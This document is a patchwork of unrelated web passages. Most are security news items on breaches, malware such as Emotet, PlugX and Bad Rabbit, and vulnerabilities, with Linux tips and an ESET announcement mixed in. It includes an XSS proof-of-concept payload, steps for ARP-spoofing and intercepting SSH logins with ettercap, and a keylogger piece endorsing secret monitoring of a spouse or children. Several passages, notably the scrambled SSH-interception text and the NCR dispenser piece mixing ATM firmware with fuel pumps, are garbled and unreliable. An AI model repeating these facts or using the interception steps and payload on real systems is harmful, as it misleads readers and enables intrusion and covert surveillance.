Share Blog Post Top Breaches Reported in the Last 24 Hours SHDS data breach Sharecare Health Data Services (SHDS) has notified its business associates AltaMed Health Services (AltaMed) and California Physicians Services (working for Blue Shield of California (BSC)) about a data breach that exposed patients’ medical records. The hacker was able to access patients’ protected health information (PHI) contained in the medical records kept by SHDS on behalf of AltaMed and BSC. The exact number of affected individuals is still unknown. The compromised information includes patients’ names, addresses, dates of birth, medical record numbers. WSG ransomware attack Wolverine Solution Group (WSG) suffered a ransomware attack in September 2018. This resulted in the compromise of hundreds of healthcare facilities and personal information of more than one million patients. Though not official disclosed, a local media report notes that 700 companies and 1.2 million people were affected in the attack. The ransomware had encrypted all the files belonging to the firms. The decryption and restoration process started on Oct. 3 with critical operations being restored by November 5. Top Malware Reported in the Last 24 Hours Researchers have detected a new strain of malware named PirateMatryoshka. The malware is distributed via The Pirate Bay (TPB) torrent tracker site. The trojan comes laden with hidden spyware packages. Once installed, the malware downloads a swathe of Potentially Unwanted Programs (PUP), spyware and adware. This slows down the PCs while wasting the system resources and spying on victims. PINCHY SPIDER distributes GandCrab ransomware PINCHY SPIDER threat actor group has been found deploying GandCrab ransomware to target enterprises in a new attack campaign named ‘Big Game Hunting’. Researchers discovered that the group is also behind the development of GandCrab, which has been active since January 2018. The group sells access to use the ransomware under a partnership program with a limited number of accounts. New CryptoMix Clop ransomware variant A new variant of CryptoMix Clop ransomware has been detected by researchers recently. The malware variant has been designed to target the entire network instead of individual computers. It is distributed via executables that have been code-signed with a digital signature. Once executed, the ransomware begins its infection process by terminating various Windows services and processes. Three prolific trojans Researchers have reported that Emotet, LokiBot and TrickBot are the three trojans that wreaked havoc last year. During November and December, 2018, the researchers saw a surge in attack campaigns that leveraged Emotet. The malware was used in 45.9% of the attacks that occurred during the second half of the year. LokiBot represented 11.6% of observed samples in the last quarter of 2018. TrickBot represented 10.4% of observed attacks during the second half of 2018. Top Vulnerabilities Reported in the Last 24 Hours Vulnerable UPnP-enabled devices According to the latest reports, attackers are leveraging vulnerable UPnP-enabled devices to perform a wide range of attacks. Most of the UPnP-related flaws were found in home routers. The vulnerable UPnP implementations, when exploited, can turn routers and other devices into proxies to obfuscate the origins of botnets. It can also enable attackers to conduct DDoS attacks. Google patches a zero-day flaw Google has released a security update to address a zero-day flaw in Chrome 72.0.3626.121. The flaw is detected as CVE-2019-5786 and exists due to a use-after-free condition in Google Chrome's FileReader. The vulnerability can let an attacker run malicious code on a victim’s machine without being detected by Chrome’s security sandbox. A vulnerability discovered in Windows Deployment Services (WDS) can allow hackers to hijack Windows Server installations and deploy backdoored Windows OS versions. The flaw - CVE-2018-8476 - affects all Windows Servers 2008 SP2 and later versions. Microsoft patched the bug last November. Hence, users are advised to apply the security patch immediately in order to fix the issue. Top Scams Reported in the Last 24 Hours SIM swapping fraud The San Francisco Division of the Federal Bureau of Investigation (FBI) is warning users about a SIM swapping fraud. The alert has come following the increase in such crimes. Cybercriminals are increasingly using the SIM swapping fraud to target victims with cryptocurrency and other digital currency accounts. Here, scammers disguise as a customer service representative of a mobile phone company and convince the victims to port their phone numbers to the fraudsters’ SIM. Once this happens, the victim’s phone loses connection to the network and scammer receives all the SMS and voice calls intended for the victim. Posted on: March 07, 2019 More from Cyware Stay updated on the security threat landscape and technology innovations at Cyware with our threat intelligence briefings and blogs.
Cloning a drive in Linux actually isn’t too terribly difficult–especially if you’re comfortable with the Linux command line interface. But how do you do it? First you’ll need a bootable ISO image, of just about any Linux distribution, on a flash drive. You’ll also need a new drive to clone to. That target drive must be as big or bjgger than the drive you’re cloning. I prefer to go with bigger, just to be safe. Once you have all of that ready, boot the machine with the source drive, using the bootable Linux distribution. Once you’ve logged in, make sure to attach the target drive to the system and find out where the target drive is located with the command: You should see a listing of all available drives, but they shouldn’t be mounted. You’ll need the name of the source and target drives.
Security researchers discovered a new variant of the Emotet malware family that employed a wireless local area network (WLAN) as its distribution method. Binary Defense spotted this WLAN distribution method in a self-extracting RAR file containing two binaries. First, it used “worm.exe” as a setup file to prepare its Wi-Fi spreading activity. The executable analyzed by researchers contained a timestamp of April 16, 2018, which would suggest that attackers have been spreading Emotet via Wi-Fi for close to two years. Even so, Binary Defense’s data indicated that Emotet might not drop its worm.exe binary too frequently. The campaign leveraged worm.exe to enumerate all Wi-Fi devices enabled on the local computer and to profile all existing Wi-Fi networks. At that point, it launched into its brute-forcing connection loops to try to connect to a network, enumerate all devices and brute-force passwords for all users. When successful, the campaign moved to “service.exe,” a binary that it used to create a connection with its command-and-control (C&C) server and ultimately drop an embedded Emotet executable. A Look Back at Emotet’s Recent Activity The attack described above is one of the latest episodes in Emotet’s ongoing evolution. In December 2019, for instance, Cisco Talos witnessed a surge of activity in which the malware family used emails to target individuals in the U.S. military and government. In February 2020, IBM X-Force reported that malicious actors used SMS messages to masquerade as banks in an attempt to deliver Emotet. How to Defend Against WLAN Distribution Tactics Security professionals can help defend against malware campaigns that use WLANs for distribution by changing the default passwords on their routers and enabling multifactor authentication (MFA) whenever possible. Given Emotet’s frequent use of malicious email attachments as an infection vector, infosec personnel should also implement proper logging with their security information and event management (SIEM) team to monitor for the activation of malicious macros.
Downloading a file sotred in the FRS form the webdav browser plugin can lead to XSS. An attacker could use this vulnerability to force a victim to execute uncontrolled code. CVSSv3 score: 5.4 (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) Add a file in the FRS named xss.html with the following content: <html><body><script>alert(1)</script></body></html> and then download it from the webdav browser plugin. OWASP Cross-site Scripting
DLL Side-Loading has always been a thorn for AV products from the time it came to existence. It is so reliable that it quickly gained popularity among threat actors thereby increasing the number of attacks using the same. In recent times, Chinese APT groups have been leveraging DLL side-loading techniques to orchestrate ransomware attacks. In short, DLL side-loading is a technique that uses malicious DLLs which look legitimate and relies on legitimate executables to load these DLLs without proper checks and execute them. Following this trend, we recently came across a zip file submission in threatbook.cn with the title “Bitdefender” as depicted in Figure 1. When unzipped, the folder has four files among which is a legitimate Bitdefender 2019 binary, vulnerable to DLL side-loading and a log.dll which is a malicious DLL loaded along with the Bitdefender binary when executed as depicted in Figure 2. The binaries found in the zip archive are 64-bit files and when executed, the bdservicehost.exe named as USOPrivate.exe loads the log.dll using LoadLibraryW API as depicted in Figure 3. First of all, the log.dll retrieves the function like VirtualAlloc, ReadFile, VirtualProtect using the LoadLibrary and GetProcAddress routine. Then it allocates space using VirtualAlloc API as shown in Figure 4. Using ReadFile API it reads the encrypted content from file USOPrivate.dat and moves it to the allocated space and changes its characteristic to executable using VirtualProtect API. The content of USOPrivate.dat has two parts as described in Figure 5. Byte 0x0 to 0x7c8 has the code which is responsible for decrypting and decompressing the fully functional PlugX RAT PE file which is present in the second part of the file, that is bytes after 0x7c8. The flow is transferred to the first part of the code by log.dll. The first step is to retrieve the API function used in the code by using GetProcAddress routine. Then it allocates the memory using VirtualAlloc API and decrypts all the bytes after offset 0x7c8 as depicted in Figure 6. Then it again allocates a virtual space to decompress the content received after first level decryption by using RtlDecompressBuffer API as depicted in Figure 7. The PE file received after decompression is a fully functional PlugX RAT and the C2 contacted by the PlugX payload is caonimade[.]11i[.]me as depicted in Figure 8. PlugX is a fully loaded RAT with functionalities such as upload, download, keystroke logging, collecting webcam information and remote cmd.exe shell which made its debut in 2014 and became famous since then. It is still being used by Chinese APT groups in multitude of attacks where the recent one being the ransomware attack. The PlugX checks if it has SeDebugPrivilege and SeTcbPrivilege and if not modifies it accordingly. SeDebugPrivilege is required to debug and adjust the memory of a process owned by another account irrespective of the security descriptor (that is it grants access to a process to inspect and change another process). Process with SeTcbPrivilege is considered as part of the trusted computer base. For persistence, it adds Run entry and vbs file in the Startup location. It also checks for clipboard data as depicted in Figure 11 along with the date. Then it logs the keystrokes. First, it checks the key state using GetAsyncKeyState API and masks it with 0x8000 to see if it is high or low, which is key pressed or released respectively. Here, hex equivalent of 16 is 0x10 which is the SHIFT key as depicted in Figure 12. Then it uses switch case statements to get the state of other appropriate keys. It then gathers information of all the disk space available and also the information of some removable drives attached or plugged in as depicted in Figure 13. Some of the other functions it can do which is already mentioned in several blogs are process injection to svchost.exe, upload and download files using InternetReadFile, InternetWriteFile, URLDownloadFile API etc., execute remote shellcodes retrieved from C2, gather information about all the running processes in the system etc. On the whole, it has all the functions to take over your system completely. These kinds of RATs can do heavy damage by themselves and you can imagine how it would be if it downloads additional payload like ransomware, coin miners onto the system. This DLL side-loading technique along with the PlugX RAT are heavily used by Chinese APT groups like Mustang Panda, APT27 and Winnti. Here at K7Labs we actively monitor such malware and have proactive detection for all these files. So stay safe from these kinds of attacks in this pandemic situation by using a reputed AV product such as “K7 Total Security”. Indicators Of Compromise (IOCs) \|MD5\|\|File Name\|\|K7 Detection Name\| \|03797703F999E8E5029EDBEE30446ED2\|\|log.dll\|\|Riskware ( 0040eff71 )\| \|DDC3BBA6EB84E83822958D0273945C60\|\|decompressed PlugX binary\|\|Riskware ( 0040eff71 )\|
In the error of the console log, it said Error creating bean with name 'org.springframework.security.filterChains', there was an error in creating the bean object, and the console Tomcat said Caused by: java.lang.IllegalArgumentException: 'pages/main. jsp' is not a valid forward URL error, I always thought it was a bean creation error when I solved it, and I only read the log error, so I haven't found a solution. Later, I carefully observed the console error, in Errors were found in the last few lines of the Tomcat log. After seeing Tomcat's log, I realized that this is a simple error of wrong path. It is not a difficult bug to solve, but it is easier to find. The original configuration file in spring-security is shown in the figure: Modify the path in the configuration file to be correct: Clear the cache, install the project, restart the server.
One of the most helpful applications through which you can keep a track of your near and dear ones is the keylogger application. Though the keylogger application is a kind of tool that most cybercriminals use, you can also use the same to keep track or know the record of the online activity which your kids or spouse does. Keylogger is a very intelligent software that is specially made to record the keystrokes that are made by the users. Keylogger application is a kind of cyber threat and is mostly used by cybercriminals. In this, the keystroke hackers/ loggers record the information that you type into a website or any application and send it back to the third party. In short, your online activities can now be easily monitored by cybercriminals. Used by Cyber Criminals There are many online sites related to the same which will tell you about how to install a keylogger. After you have followed the guidelines for installation you can start using it remotely from your device and get all the records and information related to a particular individual against whom you are using this tool or application. Cybercriminals most of the time use keylogger tools to steal the information of their rival which is private and also their financial details so that later they can blackmail them and extract the money or use it for their benefits or sell it off to third parties. A keylogger has legal uses also. Firstly, it can be used in companies which are known as corporate keylogger app. This is mostly used to keep a track of the work performance of their employees and much more. Legal Links Available Secondly, for the sake of surveillance purposes, the keylogger application is used by departments like law enforcement and intelligence agencies. It is a very helpful tool. How to put a keylogger on a computer? For this, you will have to check the sites which are good and trustworthy as they provide the link through which you can put the keylogger application on a computer. You will get the links only from a reliable site that provides the link legally. It is because the keylogger tool has now become legal, only some sites are there which bans the information due to the threat of excessive misuse. Useful for the IT Dept. & Law Enforcement Keylogger application will pivotally collect all the online activity details and send it to the keylogger or hacker or on their device. It mainly sends the information to the third parties who can be anybody like a criminal, Income Tax department and law enforcement, etc. Many legal sites are trustworthy and will tell the users how to use a keylogger. You can also use the keylogger for Facebook where you can trace the social media activity of your child or spouse or as the case may be. One of the simplest forms of collecting the information is that it is typed into a single website or an application. There is a sophisticated form of keylogger which is available through which you can record everything that the user is typing no matter what the application is.
A Buffer Overflow vulnerability is detected on Bitsmith Software Personal Knowbase v3.2.3.The vulnerability is located in the main executeable knowbase.exe. An oversized string on the registry value Knowbase Data within the Key [HKEY_CURRENT_USER/Software/Bitsmith Software/Personal Knowbase/Directories] results in a local buffer overflow. The value gets read within the FileOpen dialogue. An attacker needs to manipulate the registry value and has to trick the victim to open and cancel the FileOpen dialogue. --- Debugger Logs --- # 41414141: The instruction at 0x41414141 referenced memory at 0x41414141. The memory could not be read -> 41414141 (exc.code c0000005, tid 844) Proof of Concept: The vulnerability can be exploited by local attackers. Successful exploitation requires user inter action by clicking the dialog file open or cancel. For demonstration or reproduce ... # Exploit Title: Bitsmith Software Personal Knowbase v3.2.3 Local Buffer Overflow # Version: 3.2.3 # Tested on: Windows XP SP3 Professional German # Howto: Import Reg -> Start App -> Open File --> Cancel
A new globally-threatening ransomware emerged this year. Dubbed as Bad Rabbit Ransomware, said ransomware is now rapidly spreading across Europe. It has infected almost 200 major organizations in Russia, Ukraine, Turkey and Germany. Ransomware is a type of malware that prevents or limits users from accessing their system, either by locking the system’s screen or by locking the users’ files unless a ransom is paid. More modern ransomware families, collectively categorized as crypto-ransomware, encrypt certain file types on infected systems and forces users to pay the ransom through certain online payment methods to get a decrypt key. Users may encounter this threat through a variety of means. Ransomware can be downloaded onto systems when unwitting users visit malicious or compromised websites. It can also arrive as a payload either dropped or downloaded by other malware. Some ransomware are known to be delivered as attachments from spammed email, downloaded from malicious pages through malvertisements, or dropped by exploit kits onto vulnerable systems. Earlier this year, two devastating ransomwares shook the cyber-world, WannaCry and Petya ransomwares. Because of these two, numerous firms across the globe were greatly affected and cyber-security firms began again in increasing their security measures and precautions. The said ransomware functions like Petya ransomware. Bad Rabbit is a ‘Win32/Diskcoder.D’ malware, a new but similar variant to Petya. However, Bad Rabbit does not make use of the EternalBlue exploit of the SMB vulnerability which was used previously by Petya and WannaCry ransomware attacks. The Win32/Diskcoder.C is a trojan that encrypts files on local drives. The Trojan, however, does not create any copies of itself. It starts by creating the files C:\Windows\perfc and C:\Windows\dllhost.dat. After the installation is complete, the trojan deletes the original executable file. Win32/Diskcoder.C replaces the original MBR (Master Boot Record) of the hard disk drive with its own program code. The trojan stores the first sector of the original MBR in sector 34 of the new MBR. Furthermore, the Bad Rabbit also uses “Mimikatz” post-exploitation tool to extract credentials from affected systems. Bad Rabbit was distributed to systems via drive-by-download attacks such as recreated Adobe Flash player installers to trick victims in installing the said malware. Upon complete infection, like most ransomwares, most files will get encrypted and a notice is displayed on the screen asking for a payment of 0.05 bitcoin or roughly 285 USD to decrypt the locked computer files. The following is the screenshot of the notice: The ransomware demands that the affected user access the TOR browser to be able to visit the attacker’s website and make the corresponding payment. The following is the screenshot of the page of the attackers as viewed from TOR: Fearsome or not, the new Bad Rabbot ransomware still has traces to globally-alarming ransomwares, and even if the attackers will not make much money off ransom payments, Bad Rabbit was still collecting credentials and other data from infected machines, which could be valuable fodder for future attacks. Accordingly, for average computer users, it is always advised not to click on unrecognized emails and links, as well as to avoid browsing from untrusted websites. Be wary of suspicious of uninvited documents sent over an email and never click on links inside those documents unless verifying the source. Keep a good backup schedule in place that makes their copies to an external storage device that is not always connected to your PC. Lastly, always keep antivirus software and systems updated to protect against latest threats.
A new malicious botnet named “AndoryuBot” targets a critical severity flaw in the Ruckus wireless admin panel to infect unpatched Wi-Fi access points for use in DDoS attacks. Tracked as CVE-2023-25717The flaw affects all Ruckus wireless admin panels version 10.4 and earlier, allowing remote attackers to execute code by sending unauthenticated HTTP GET requests to vulnerable devices. The flaw was discovered and fixed on February 8, 2023. Still, many have failed to apply available security updates, while end-of-life models impacted by the security issue will not receive a patch. AndoryuBot first appeared in the wild in February 2023, but Fortinet says its new version that targets Ruckus devices appeared in mid-April. The botnet malware aims to enlist vulnerable devices into its DDoS (distributed denial of service) swarm which it exploits for profit. Ruckus attack details The malware infects vulnerable devices via malicious HTTP GET requests and then downloads additional script from a hardcoded URL for further propagation. The variant analyzed by Fortinet can target many system architectures, including x86, arm, spc, m68k, mips, sh4, and mpsl. After infecting a device, the malware establishes communication with the C2 server using the SOCKS proxy protocol for stealth and to bypass firewalls, then waits for commands. AndoryuBot malware supports 12 DDoS attack modes: tcp-raw, tcp-socket, tcp-cnc, tcp-handshake, udp-plain, udp-game, udp-ovh, udp-raw, udp-vse, udp -dstat, udp -bypass and icmp-echo. The malware will receive commands from the command and control server which will tell it the type of DDoS, the target IP address and the port number to attack. Malware operators rent out their firepower to other cybercriminals who want to launch DDoS attacks, accepting cryptocurrency payments (XMR, BTC, ETH, USDT, CashApp) for their services. Fortinet says weekly rental prices range from $20 for a 90-second single-login attack using all available bots launched 50 times per day to $115 for a 200-second double-login attack using all available bots to launch 100 attacks per day. The Andoryu project is currently marketed via YouTube videos where its operators demonstrate the capabilities of the botnet. To avoid botnet malware infections, apply available firmware updates, use strong device admin passwords, and disable remote admin panel access if you don’t have one need.
scanning via scanimage Brother has a broad variety of printer/scanner driver for linux. Also there are quite good installation instructions (step-by-step and images for the output). After installing the driver for scanning, you will need a utility to scan from the printer. scanimage is just the right program for that. With # scanimage –format=tiff -v > ~/image.tiff you will have an image named image.tiff in your home folder. If your scanner is not the default scanner you can work your device with # scanimage -L out, because it gives you a list of scanning devices. The option -d can specify another device, if you have more than one.
Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. The result is that an application with more privileges than intended by the application developer or system administrator can perform unauthorized actions. Privilege escalation means a user receives privileges they are not entitled to. These privileges can be used to delete files, view private information, or install unwanted programs such as viruses. It usually occurs when a system has a bug that allows security to be bypassed or, alternatively, has flawed design assumptions about how it will be used. Privilege escalation occurs in two forms: This type of privilege escalation occurs when the user or process is able to obtain a higher level of access than an administrator or system developer intended, possibly by performing kernel-level operations. Examples of vertical privilege escalation In some cases a high-privilege application assumes that it will only be provided with input that matches its interface specification, and doesn't validate the input. An attacker may then be able to exploit this assumption so that unauthorized code is run with the application's privileges: A jailbreak is the act or tool used to perform the act of breaking out of a chroot or jail in UNIX-like operating systems or bypassing digital rights management (DRM). In the former case, it allows the user to see files outside of the filesystem that the administrator intends to make available to the application or user in question. In the context of DRM, this allows the user to run arbitrarily defined code on devices with DRM as well as break out of chroot-like restrictions. The term originated with the iPhone/iOS jailbreaking community and has also been used as a term for PlayStation Portable hacking; these devices have repeatedly been subject to jailbreaks, allowing the execution of arbitrary code, and sometimes have had those jailbreaks disabled by vendor updates. iOS systems including the iPhone, iPad, and iPod touch have been subject to iOS jailbreaking efforts since they were released, and continuing with each firmware update. iOS jailbreaking tools include the option to install Cydia, a third-party alternative to the App Store, as a way to find and install system tweaks and binaries. To prevent iOS jailbreaking, Apple has made the device boot ROM execute checks for SHSH blobs in order to disallow uploads of custom kernels and prevent software downgrades to earlier, jailbreakable firmwares. In an "untethered" jailbreak, the iBoot environment is changed to execute a boot ROM exploit and allow submission of a patched low level bootloader or hack the kernel to submit the jailbroken kernel after the SHSH check. A similar method of jailbreaking exists for S60 Platform smartphones, which involves installing softmod-style patches which involves patching certain ROM files while loaded in RAM or edited firmware (similar to the M33 hacked firmware used for the PlayStation Portable) to circumvent restrictions on unsigned code. Nokia has since issued updates to curb unauthorised jailbreaking, in a manner similar to Apple. Operating systems and users can use the following strategies to reduce the risk of privilege escalation: Horizontal privilege escalation occurs when an application allows the attacker to gain access to resources which normally would have been protected from an application or user. The result is that the application performs actions with the same but different security context than intended by the application developer or system administrator; this is effectively a limited form of privilege escalation (specifically, the unauthorized assumption of the capability of impersonating other users). Examples of horizontal privilege escalation This problem often occurs in web applications. Consider the following example: This malicious activity may be possible due to common web application weaknesses or vulnerabilities. Potential web application vulnerabilities or situations that may lead to this condition include: Review those logs Time-consuming, tedious, and absolutely necessary for the health of your network: review your log files. Once you understand what "normal" looks like for your network, you're more likely to spot dangerous abnormalities. What should you look for? In two words: weird stuff. Examples: You know Bob is on vacation at Disney World, and his laptop is sitting in your office, but someone keeps logging into your network as Bob. Time to investigate. If, normally, your Web server can run six weeks at a time without requiring a reboot, but it rebooted itself three times last night, some attacker may be trying to perfect his buffer overflow attack against it. If your database server is locked in a closet in your server farm but the log files report a console login attempt on that server (which has no keyboard), investigate further. Get the idea? Keep up-to-date on patches Another painful but necessary task. We're surprised to see the Frethem virus spreading as we write this, because it works primarily on Internet Explorer systems that have not been updated in over a year. A diligent sys admin may patch daily. Lately, advisories about buffer overflows are being reported in the popular press. You can't assume "no one knows about them." Plug all known holes. We have often advised in LiveSecurity articles, "Use strong passwords." The problem with passwords that are cryptographically strong (e.g., "1@3gg]+nP915f~") is that no one can remember them, and they're hard to type. A nice balance between that and a too-easy password (e.g., "bob") is the passphrase. Try using bits of poetry, lines from plays or movies, anything lengthy but memorable. In Star Wars: A New Hope, an embarrassed Han Solo tells his mocking sidekick Chewbacca, "Laugh it up, fuzzball." Modified slightly to "L4ugh it up, Fu22ball!" you have a strong passphrase, hard for an attacker to brute force or guess, but easy for you to live with. Pick your own favorite. Just don't read it from anything hanging near your workstation. Manage settings aggressively Sure, it's easier to set your firewall to permit "Any" to "all." But that's not secure. Work out a security policy that grants employees the minimum amount of access they need to do their jobs. Then set your routers, switches, and firewalls to enforce the policy. While you're at it, consider installing interdepartmental firewalls: that way, if an attacker breaks in somewhere, you've limited the damage to a smaller network segment. Further countermeasures are really up to application developers. Buffer overflows don't succeed in a well-written program. But you can't do a lot about that right now. What you can do is make sure your people use strong credentials, then protect those credentials. Please register yourself and will keep you informed as soon as we update collection of attacker controllers or payloads or chunk of data such as Injections [SQL, XML, XPATH, LDAP], Cross-site scripting [HTML4, HTML5], Inclusions [Remote, Local], Path traversal, Commands execution and many more action utilities.
\|Date Added:\|\|16 August 2014\| \|File Size:\|\|29.34 Mb\| \|Operating Systems:\|\|Windows NT/2000/XP/2003/2003/7/8/10 MacOS 10/X\| \|Price:\|\|Free* [*Free Regsitration Required]\| The block size can be safely raised on low-utilization networks. ARP spoof the target s Protip: Tools you will need to accomplish this task: When the client connects, the attack tool acts as a server, and negotiates a session with the client. After you modified the configuration, be sure to sehmitm it. Very simple tools can accomplish this task, and in the example we used a 3 computer setup on a LAN. dSniff – Wikipedia In the SSH protocol, the traditional method is to use public keys. This penetration testing tool allows an auditor to intercept SSH connections. Various routing attacks can be used to perform the attack remotely. Using network CIDR Use your Ssshmitm computer with ettercap sshmtim prepare for the attack. After generating the key, you will need to restart the SSH daemon to have the changes immediately take effect. The attack also allows injecting malware into any binaries and software updates downloaded through the system. It then acts as a client, and negotiates another encrypted connection with the server. Ettercap has scanned all the hosts on the LAN and is actively poisoning the ARP cache, which allows us to intercept and modify instructions sent between the victim SSH server and the client. It is also common for hackers and malware to attack routers, DSL modems, and WiFi base stations to install malware on them that performs the man-in-the-middle attack. The filter that was loaded tells the victim client that the SSH server is not capable of negotiating the SSH2 protocol. This is also a good in-depth explanation of how the attack works and what can be done with it. sshmitm(8) – Linux man page However, sophisticated tools for performing them are readily available, both for hackers and for penetration xshmitm. ARP spoof a target s Protip: Network analyzers Password cracking software Free network management software. Hijack the SSH1 login information. Most SSH clients will trust the server’s key during the first connection, on the theory that at any given time a man-in-the-middle attack on the network is unlikely, and it provides the best possible tradeoff between usability dshmitm security for grass-roots deployment. Ettercap will detect the SSH1 login information and display it in the window. Launch ettercap, go to the Sniff menu and select “Unified sniffing” then specify the interface that will be used to execute the attack. Technically, performing a successful man-in-the-middle attack is rather complex. By using and further navigating this website you accept this. Your attacking machine now has the SSH server string plugin loaded and a collected list of hosts that are being targeted. Allow connections to sshd and re-route forwarded SSH connections: You will also need to specify where the key should be stored once we generate it. Under too high of a load, your interface will start dropping frames, causing a denial-of-service and greatly raising suspicions this is bad.
Tips For Using an NCR Dispenser Using a NCR dispenser is a very common practice, but there are a few things you should keep in mind when working with these units. These tips will help you make the most of your dispenser and keep your documents flowing smoothly. Vulnerabilities in the NCR S1 dispenser Several serious vulnerabilities have been found in the NCR S1 dispenser, a controller that dispenses cash. The vulnerabilities can be exploited by an unauthorized attacker to install a rogue firmware version and gain full access to the ATM device. In order to avoid these vulnerabilities, the ATM manufacturer NCR has released software security updates. There are two critical firmware updates, which are designed to protect the ATM from black box attacks. The first update addresses a firmware rollback vulnerability and a memory write mechanism. The second is a buffer over-read vulnerability. These vulnerabilities could allow an unauthorized attacker to bypass the anti-rollback protection and install a rogue firmware version. The firmware that is used to control the ATM can be vulnerable to a memory write mechanism. The vulnerability is caused by the incorrect default permissions. An attacker who has root access can use the device to execute code in the service VM user space. The attacker can also install an older version of firmware that is not updated with the newer version. A buffer over-read vulnerability was found in both versions of the bootloader. The firmware upload is done through the bootloader, which is a part of the main firmware. The firmware is loaded into the IDA at offset 0x100000. The SHA-1 checksum is encrypted with a private key. However, the state of the BufferList may be corrupted, which exposes uninitialized memory through regular.slice() calls. In addition, the firmware uses an authentication sequence, which is strong against external magnet attacks. The firmware searches for all services and performs tasks. These tasks are then transferred to appropriate services. A firmware update also addresses a logical attack, which was performed by a threat actor. A remote management tool was used to disguise DNS traffic, which blended with legitimate traffic. The attacker then configured the RMM tool to report to their own C2s. The attack was successful, allowing the threat actor to install the rogue firmware. The attacker was able to issue commands that instruct the ATM to dispense cash. An attacker can use this flaw to obtain sensitive information in clear text. The malicious entity can abuse crafted payloads and PCIe assign/de-assign Hypercalls. Alternatively, the attacker can leverage an improper input validation vulnerability in PowerChute Business Edition software. The firmware also has a decryptFile method flaw. This flaw arises from the failure to properly validate the path that ACT card reader the user supplies. The attacker can then execute code in ACT card reader the SYSTEM context, which allows him to run all actions associated with the assumed role. The highest threat from this vulnerability is the loss of data confidentiality and integrity. The firmware was updated to address a flaw that was reported by researchers. In addition, NCR customers were urged to update their version of the Aloha POS software. If you are using the Aloha POS software, review the configuration and make sure that the system does not connect to unauthorized hosts. The updated firmware also adds additional authentication sequence options for higher security. Changing dispensers from primary to secondary Changing ncr dispensers from primary to secondary isn’t an easy task, especially if you aren’t well versed in microprocessors and a myriad of inputs and outputs. Fortunately, the new dispenser electronics design simplifies the process and minimizes the number of wiring connections. In addition, the invention provides a scalable architecture, making it possible to implement a more complex system with minimal modifications. The invention has three main components: a microprocessor, a communications system and a database. The microprocessor is the heart of the system and it is responsible for the majority of internal operation controls. It is also the point of contact for many of the other functional units. The communications system allows note acceptor data to be communicated to the console controller and vice versa. The dispenser also includes a note acceptor, which is a small, keyboard-like device located in the electronics portion of the dispenser. The device uses the LonBus communications bus, which allows chips to be networked together. The software component is provided by Echelon Corporation, which is based in Palo Alto, California. The company also offers a neuron 3150 chip, which is the brain of the aforementioned smarm. The best part is that the aforementioned software has the same name. The software includes an encryption key, which only gets sent to the computer when the user confirms that they are legitimately in the safe. This ensures that the key will never be intercepted by a thief or otherwise compromised. The communication system also includes a manager keypad, which is located inside the electronics compartment of the dispenser. The manager keypad is used for pump programming and other diagnostic functions. This tiny keyboard is accessed only by authorized personnel through a locked door. The software has a handful of features, including up to three levels of security codes. A programmable pump preset turns the pump off after a certain amount of fuel has been dispensed. The local operating network includes a microprocessor and a variety of microcontrollers. The microprocessor has numerous inputs and outputs, which allow the microprocessor to accomplish a plethora of tasks. One of the more interesting components is the programmable pump preset, which turns the pump off after a certain amount has been dispensed. Another is the aptly named “UsbDownloadService,” which is the hardware or software component that uploads a bootloader with firmware to the microprocessor, and allows the dispenser to be connected to a computer. The most important feature of the aforementioned software is the ability to control the output of the banknote dispenser. In the past, an attacker could alter the contents of a response, increase the number of banknotes to dispense or even disable certain security mechanisms. This is no longer the case. Using a combination of the aforementioned software and hardware, the best way to secure the output of a banknote dispenser is to restrict physical access to a small number of authorized users.
Baidu video is a good Media Player software, which in many detail aspects of the process of humanization, however, the developers release the software, not the software used in a special library file to eliminate, resulting in the Baidu video player can take the opportunity to realize the remote execution of arbitrary code. The library file name“log.dll”that speculation should be with the debugging nature of the logging interface, the file with any format of media file placed in the same directory, when the users use Baidu video to play Media Files,“log.dll”the file will be loaded simultaneously, if the file for the malicious attacker to develop, then it will directly cause the user's system is under attack. To this end, a malicious attacker can exploit this vulnerability, a remote share with“log.dll”and the Media Files folder, and convince a user to visit, and ultimately achieve a remote invasion of the user system. Code reject the law or the local setting method Finally, Baidu official reply is: thanks for the submission. Developer feedback is not so serious. We repair as soon as possible.
ESET supports the work of malware researcher Marc-Étienne Léveillé, a founding member of the Group Security Assistance For Education & Research (SAFER). It is a new organization created by independent security experts who have joined forces to better protect the Research & Education sector from global threats. The majority of security experts are supported by relevant public bodies such as CERN, with ESET being the only private company to undertake to support the work of a founding member of SAFER. ESET support for SAFER strengthens its mission for a safer internet in a world of growing threats from international criminal organizations and nation states. To become a member of SAFER, you must first have made a significant contribution to the security of the research and education sector, so that you can be recognized and trusted. Second, he must be invited to join the organization by SAFER himself. Having secured the support of ESET Malware Research Team, Marc-ientienne Léveillé collaborated with Research & Training during his extensive research on Windigo and Kobalos. Kobalos is a Linux backdoor malware that targets supercomputers, especially those used in academic and scientific institutions. It is worth noting that ESET's research on Kobalos was conducted in collaboration with CERN, another organization that supports SAFER. Other organizations that support the SAFER team are LBNL, DFN-CERT, ESnet, STFC and WLCG. For many years, ESET has supported the educational, academic, and research communities. In this context, the company established the ESET Foundation, with the foundation's main mission to promote education, research, and the advancement of science for the benefit of society. One of the activities of the ESET Foundation is the awarding of the annual ESET Science Award to scientists in Slovakia. Investing in the education and development of the community, especially children, is also a key priority of the ESET Foundation. Another clear example of ESET's academic support is its collaboration with the Slovak University of Technology in Bratislava, where ESET staff teach and conduct research. ESET also publishes its own cybersecurity surveys at WeLiveSecurity.
